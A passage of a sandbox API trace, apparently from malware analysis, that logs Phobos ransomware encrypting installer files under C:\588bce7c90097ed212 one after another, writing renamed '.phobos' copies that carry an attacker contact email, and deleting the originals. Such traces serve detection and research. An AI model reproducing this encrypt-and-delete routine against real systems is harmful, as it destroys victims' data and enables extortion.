(in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12c20, dwBufLen=0x12c20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x12c20) returned 1 [0046.487] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x12c20, lpOverlapped=0x0) returned 1 [0046.489] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc710) returned 1 [0046.489] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.489] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0046.489] CryptDestroyKey (hKey=0x10dc710) returned 1 [0046.489] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0046.489] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0046.489] CloseHandle (hObject=0x334) returned 1 [0046.489] CloseHandle (hObject=0x328) returned 1 [0046.491] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0046.492] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.492] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.492] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=60684) returned 1 [0046.492] CloseHandle (hObject=0x328) returned 1 [0046.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0046.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.493] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.493] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.493] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.493] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.493] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc710) returned 1 [0046.493] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.493] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xed0c, lpOverlapped=0x0) returned 1 [0046.532] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xed10, dwBufLen=0xed10 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xed10) returned 1 [0046.532] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xed10, lpOverlapped=0x0) returned 1 [0046.533] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcc90) returned 1 [0046.533] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.533] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0046.533] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0046.533] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0046.533] CryptDestroyKey (hKey=0x10dc710) returned 1 [0046.534] CloseHandle (hObject=0x328) returned 1 [0046.534] CloseHandle (hObject=0x334) returned 1 [0046.535] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0046.536] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.536] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0046.537] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=80254) returned 1 [0046.537] CloseHandle (hObject=0x334) returned 1 [0046.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0046.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.538] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.539] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.539] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.539] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.541] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0046.542] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.542] ReadFile (in: hFile=0x314, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1397e, lpOverlapped=0x0) returned 1 [0046.818] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x13980, dwBufLen=0x13980 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x13980) returned 1 [0046.818] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x13980, lpOverlapped=0x0) returned 1 [0046.820] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0046.820] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.820] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0046.820] CryptDestroyKey (hKey=0x10dc690) returned 1 [0046.820] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0046.820] CryptDestroyKey (hKey=0x10dc590) returned 1 [0046.820] CloseHandle (hObject=0x314) returned 1 [0046.820] CloseHandle (hObject=0x330) returned 1 [0046.822] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0046.823] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.823] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.824] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6309) returned 1 [0046.824] CloseHandle (hObject=0x330) returned 1 [0046.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0046.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.824] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.824] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.824] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.824] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.824] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca90) returned 1 [0046.824] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.824] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x18a5, lpOverlapped=0x0) returned 1 [0046.836] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x18b0) returned 1 [0046.836] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x18b0, lpOverlapped=0x0) returned 1 [0046.839] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0046.839] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.839] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0046.839] CryptDestroyKey (hKey=0x10dc610) returned 1 [0046.839] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0046.839] CryptDestroyKey (hKey=0x10dca90) returned 1 [0046.839] CloseHandle (hObject=0x330) returned 1 [0046.839] CloseHandle (hObject=0x314) returned 1 [0046.840] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0046.841] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.841] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.842] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3069) returned 1 [0046.842] CloseHandle (hObject=0x314) returned 1 [0046.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0046.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.842] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.842] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.842] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.842] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.842] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0046.842] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.842] ReadFile (in: hFile=0x314, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xbfd, lpOverlapped=0x0) returned 1 [0046.856] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc00, dwBufLen=0xc00 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc00) returned 1 [0046.856] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc00, lpOverlapped=0x0) returned 1 [0046.857] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcad0) returned 1 [0046.857] CryptSetKeyParam (hKey=0x10dcad0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.857] CryptEncrypt (in: hKey=0x10dcad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0046.857] CryptDestroyKey (hKey=0x10dcad0) returned 1 [0046.857] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0046.857] CryptDestroyKey (hKey=0x10dca10) returned 1 [0046.857] CloseHandle (hObject=0x314) returned 1 [0046.857] CloseHandle (hObject=0x330) returned 1 [0046.858] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0046.858] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.859] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.859] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=201796) returned 1 [0046.859] CloseHandle (hObject=0x330) returned 1 [0046.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80 [0046.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.859] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.859] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.859] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.859] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.862] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca10) returned 1 [0046.862] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.862] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x31444, lpOverlapped=0x0) returned 1 [0046.878] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x31450, dwBufLen=0x31450 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x31450) returned 1 [0046.879] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x31450, lpOverlapped=0x0) returned 1 [0046.882] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc810) returned 1 [0046.882] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.882] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0046.882] CryptDestroyKey (hKey=0x10dc810) returned 1 [0046.882] WriteFile (in: hFile=0x314, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0046.882] CryptDestroyKey (hKey=0x10dca10) returned 1 [0046.882] CloseHandle (hObject=0x330) returned 1 [0046.882] CloseHandle (hObject=0x314) returned 1 [0046.888] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 1 [0046.890] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0046.890] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.890] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=16118) returned 1 [0046.890] CloseHandle (hObject=0x330) returned 1 [0046.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0046.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0046.890] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0046.891] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.891] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0046.891] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DHtmlHeader.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0046.891] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dca90) returned 1 [0046.891] CryptSetKeyParam (hKey=0x10dca90, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0046.891] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3ef6, lpOverlapped=0x0) returned 1 [0047.006] CryptEncrypt (in: hKey=0x10dca90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, 